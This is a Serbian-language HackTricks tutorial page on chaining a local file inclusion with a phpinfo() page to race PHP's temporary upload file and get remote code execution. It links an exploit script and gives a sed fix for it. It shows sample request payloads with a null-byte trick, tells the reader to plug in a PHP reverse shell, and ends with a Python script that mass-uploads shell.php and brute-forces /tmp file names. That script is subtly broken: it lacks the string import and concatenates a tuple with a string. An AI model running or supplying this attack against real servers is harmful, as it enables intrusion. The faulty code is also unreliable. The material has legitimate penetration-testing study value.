5.2 KiB
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Da biste iskoristili ovu ranjivost, potrebno vam je: LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file_uploads = on" i server mora moći da piše u "/tmp" direktorijum.
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Da biste ispravili eksploit (promenite => u =>). To možete uraditi:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
Morate promeniti i payload na početku eksploatacije (na primer, za php-rev-shell), REQ1 (ovo bi trebalo da upućuje na phpinfo stranicu i trebalo bi da uključuje padding, na primer: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), i LFIREQ (ovo bi trebalo da upućuje na LFI ranjivost, na primer: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Proverite dvostruki "%" prilikom iskorišćavanja null karaktera)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
Teorija
Ako su dozvoljeni uploadi u PHP-u i pokušate da otpremite datoteku, ta datoteka se čuva u privremenoj direktoriji dok server ne završi obradu zahteva, a zatim se ta privremena datoteka briše.
Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogodite ime privremene datoteke koja je kreirana i iskoristiti RCE pristupajući privremenoj datoteci pre nego što bude obrisana.
Na Windows-u, datoteke se obično čuvaju u C:\Windows\temp\php
Na Linux-u, ime datoteke obično bude slučajno i smeštena je u /tmp. Pošto je ime slučajno, potrebno je izvući negde ime privremene datoteke i pristupiti joj pre nego što bude obrisana. To se može uraditi čitanjem vrednosti promenljive $_FILES unutar sadržaja funkcije "phpconfig()".
phpinfo()
PHP koristi bafer od 4096B i kada je pun, on se šalje klijentu. Zatim klijent može poslati mnogo velikih zahteva (koristeći velike zaglavlja) otpremajući php reverse shell, čekati da se vrati prvi deo phpinfo() (gde je ime privremene datoteke) i pokušati pristupiti privremenoj datoteci pre nego što php server obriše datoteku iskorišćavajući LFI ranjivost.
Python skripta za pokušaj brute force imena (ako je dužina = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.